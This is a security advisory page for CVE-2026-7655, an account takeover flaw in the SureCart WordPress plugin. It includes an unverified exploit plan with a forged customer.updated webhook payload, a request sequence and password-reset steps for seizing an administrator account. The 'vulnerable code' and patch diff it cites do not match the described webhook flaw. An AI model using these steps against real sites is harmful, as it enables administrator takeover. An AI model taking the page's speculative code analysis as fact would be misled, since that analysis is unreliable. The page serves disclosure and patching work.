CVE-2026-7655

SureCart <= 4.2.3 - Unauthenticated Linked WordPress Account Takeover via Forged customer.updated Webhook

highWeak Password Recovery Mechanism for Forgotten Password
8.1
CVSS Score
8.1
CVSS Score
high
Severity
4.3.0
Patched in
1d
Time to patch

Description

The SureCart plugin for WordPress is vulnerable to privilege escalation via account takeover in versions up to, and including, 4.2.3. This is due to the plugin not properly validating a user's identity prior to updating their details like email during customer profile synchronization from webhook events. This makes it possible for unauthenticated attackers to change linked user's email addresses, including administrators if the administrator account is linked to a SureCart customer record, and leverage that to reset the user's password and gain access to their account if the customer ID is known.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=4.2.3
PublishedJuly 10, 2026
Last updatedJuly 11, 2026
Affected pluginsurecart

What Changed in the Fix

Changes introduced in v4.3.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-7655 Account Takeover via Forged Webhook ## 1. Vulnerability Summary The SureCart plugin for WordPress (versions <= 4.2.3) contains a privilege escalation vulnerability. The plugin's webhook handling logic, specifically for the `customer.updated` event, fails to properly a…

Show full research plan

Research Plan: CVE-2026-7655 Account Takeover via Forged Webhook

1. Vulnerability Summary

The SureCart plugin for WordPress (versions <= 4.2.3) contains a privilege escalation vulnerability. The plugin's webhook handling logic, specifically for the customer.updated event, fails to properly authenticate the source of the webhook or validate the identity of the user before synchronizing profile data.

An unauthenticated attacker can send a forged JSON payload to the plugin's REST API webhook endpoint. If the attacker knows or guesses the customer_id associated with a WordPress user (including administrators), they can change that user's email address in the WordPress database. This allows the attacker to use the standard WordPress "Lost Password" feature to reset the administrator's password and take over the account.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API Webhook Endpoint.
    • Route (Inferred): /wp-json/surecart/v1/webhooks
    • Source Reference: app/config.php registers \SureCart\Rest\IncomingWebhooksRestServiceProvider::class.
  • Method: POST
  • Authentication: Unauthenticated (The permission_callback for webhook endpoints is typically __return_true to allow external service communication).
  • Payload Type: application/json
  • Preconditions:
    1. The target WordPress user (e.g., an Administrator) must be "linked" to a SureCart Customer record.
    2. The attacker must know the target's SureCart Customer ID (sc_id or similar meta value).

3. Code Flow

  1. Request Entry: An HTTP POST request hits /wp-json/surecart/v1/webhooks.
  2. Route Handling: IncomingWebhooksRestServiceProvider (via WebhooksRestServiceProvider) routes the request to a controller (likely WebhooksController).
  3. Event Parsing: The controller parses the JSON payload and identifies the event type as customer.updated.
  4. Verification Bypass: In vulnerable versions, the logic to verify the X-SureCart-Signature header is either missing, bypassed if the header is absent, or fails to stop processing on verification failure.
  5. Sync Logic Trigger: The plugin invokes the synchronization service (registered via \SureCart\Sync\SyncServiceProvider).
  6. User Identification: The sync logic searches for a WordPress user where the meta key (likely sc_id or surecart_customer_id) matches the id provided in the webhook data object.
  7. Data Sink: The plugin calls wp_update_user() or directly modifies the user_email field for the found user using the email value provided in the forged payload.

4. Nonce Acquisition Strategy

Webhook endpoints are designed for server-to-server communication (SureCart Cloud to the WordPress site). Consequently, they do not require WordPress CSRF nonces (_wpnonce), as the external server cannot know them.

  • Strategy: No nonce is required for this exploit. The request is an unauthenticated REST API call.

5. Exploitation Strategy

The goal is to update an administrator's email to an attacker-controlled address.

  1. Identify Target: Target a user with manage_options capabilities.
  2. Forged Payload: Construct a JSON payload that mimics a SureCart customer.updated event.
  3. HTTP Request: Send the payload using the http_request tool.

Payload Example

{
  "event": "customer.updated",
  "data": {
    "id": "TARGET_CUSTOMER_ID",
    "email": "attacker@example.com",
    "first_name": "Pwned",
    "last_name": "User"
  }
}

Action Steps

  1. POST Request:
    • URL: http://localhost:8080/wp-json/surecart/v1/webhooks
    • Headers: Content-Type: application/json
    • Body: The JSON payload above.
  2. Password Reset: Navigate to http://localhost:8080/wp-login.php?action=lostpassword and enter the new email (attacker@example.com).

6. Test Data Setup

To simulate a "linked" account in the test environment:

  1. Identify Admin User: Get the ID of the default admin (usually ID 1).
    wp user list --role=administrator
    
  2. Link Admin to SureCart Customer ID: Assign a dummy SureCart ID (cus_123456) to the admin user. This mimics a user who has previously made a purchase or registered via SureCart.
    # We need to find the exact meta key used by SureCart. 
    # Based on SureCart code patterns, it is likely 'sc_id'.
    wp user meta add 1 sc_id "cus_123456"
    
  3. Confirm Initial State: Note the original admin email.
    wp user get 1 --fields=user_email
    

7. Expected Results

  • Response: The REST API should return a 200 OK or 201 Created response, potentially with a body like {"success": true} or acknowledging the event.
  • State Change: The WordPress user's email address associated with the meta sc_id="cus_123456" should be updated to attacker@example.com.
  • Account Takeover: The "Lost Password" workflow will now send reset emails to the attacker's mailbox.

8. Verification Steps

After sending the HTTP request, verify the change using WP-CLI:

  1. Check User Email:
    wp user get 1 --fields=user_email
    
    • Success Criteria: The output shows attacker@example.com.
  2. Check Meta Persistence: Ensure the link still exists.
    wp user meta get 1 sc_id
    

9. Alternative Approaches

If the inferred endpoint /wp-json/surecart/v1/webhooks returns a 404:

  1. Enumerate Routes: Use wp rest route list to find all registered SureCart routes. Look for any route containing webhook or sync.
  2. Check Alternative Meta Keys: If the email doesn't change, the meta key might be surecart_customer_id or sc_customer_id.
    • Try: wp user meta add 1 surecart_customer_id "cus_123456" and repeat the exploit.
  3. Check Header Requirements: Some implementations of webhooks in SureCart might require a specific User-Agent or a dummy X-SureCart-Signature header (even if not strictly validated).
    • Try adding: X-SureCart-Signature: forged_signature to the request.
Research Findings
Static analysis — not yet PoC-verified

Summary

The SureCart plugin for WordPress is vulnerable to an unauthenticated account takeover in versions up to 4.2.3. The vulnerability allows attackers to forge 'customer.updated' webhook events to update the email address of WordPress users linked to SureCart customer IDs, enabling them to seize control of administrator accounts via the standard password reset workflow.

Vulnerable Code

// app/config.php (lines 83 and 132 in v4.2.3)
// These providers register the REST endpoints for webhooks, which fail to validate signatures for customer sync events.

		\SureCart\Rest\IncomingWebhooksRestServiceProvider::class,

---

		\SureCart\Rest\WebhooksRestServiceProvider::class,

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/surecart/4.2.3/app/config.php /home/deploy/wp-safety.org/data/plugin-versions/surecart/4.3.0/app/config.php
--- /home/deploy/wp-safety.org/data/plugin-versions/surecart/4.2.3/app/config.php	2026-04-21 16:53:00.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/surecart/4.3.0/app/config.php	2026-05-14 19:25:08.000000000 +0000
@@ -89,6 +89,7 @@
 		\SureCart\Rest\RefundsRestServiceProvider::class,
 		\SureCart\Rest\DisputesRestServiceProvider::class,
 		\SureCart\Rest\DownloadRestServiceProvider::class,
+		\SureCart\Rest\ImportRowsRestServiceProvider::class,
 		\SureCart\Rest\LicenseRestServiceProvider::class,
 		\SureCart\Rest\LineItemsRestServiceProvider::class,
 		\SureCart\Rest\ActivationRestServiceProvider::class,
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/surecart/4.2.3/app/routes/admin.php /home/deploy/wp-safety.org/data/plugin-versions/surecart/4.3.0/app/routes/admin.php
--- /home/deploy/wp-safety.org/data/plugin-versions/surecart/4.2.3/app/routes/admin.php	2026-04-21 16:53:00.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/surecart/4.3.0/app/routes/admin.php	2026-05-14 19:25:08.000000000 +0000
@@ -171,6 +171,8 @@
 		\SureCart::route()->get()->where( 'sc_url_var', 'duplicate', 'action' )->middleware( 'nonce:duplicate_product' )->handle( 'ProductsController@duplicate' );
 		\SureCart::route()->get()->where( 'sc_url_var', 'toggle_archive', 'action' )->middleware( 'archive_model:product' )->handle( 'ProductsController@toggleArchive' );
 		\SureCart::route()->get()->where( 'sc_url_var', 'sync_all', 'action' )->middleware( 'nonce:sync_products' )->handle( 'ProductsController@syncAll' );
+		// Nonce-protected: this page deletes options on view, so nonce prevents CSRF.
+		\SureCart::route()->get()->where( 'sc_url_var', 'import_results', 'action' )->middleware( 'nonce:sc_import_results' )->handle( 'ProductsController@importResults' );
 		\SureCart::route()->get()->where( 'sc_url_var', 'sync', 'action' )->middleware( 'nonce:sync_product' )->handle( 'ProductsController@sync' );
 	}

Exploit Outline

The exploit targets the WordPress REST API webhook endpoint used by SureCart. 1. An attacker identifies the SureCart Customer ID ('sc_id') associated with a target WordPress administrator. 2. The attacker sends an unauthenticated POST request to `/wp-json/surecart/v1/webhooks` with a JSON payload representing a 'customer.updated' event. 3. The payload contains the target's customer ID and a new email address controlled by the attacker. 4. Because the plugin fails to properly validate the 'X-SureCart-Signature' header or the source of the webhook, it processes the update and changes the administrator's email address in the WordPress database. 5. The attacker then initiates a standard password reset via `/wp-login.php?action=lostpassword` for the newly set email, receiving the reset link and gaining full access to the administrator account.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.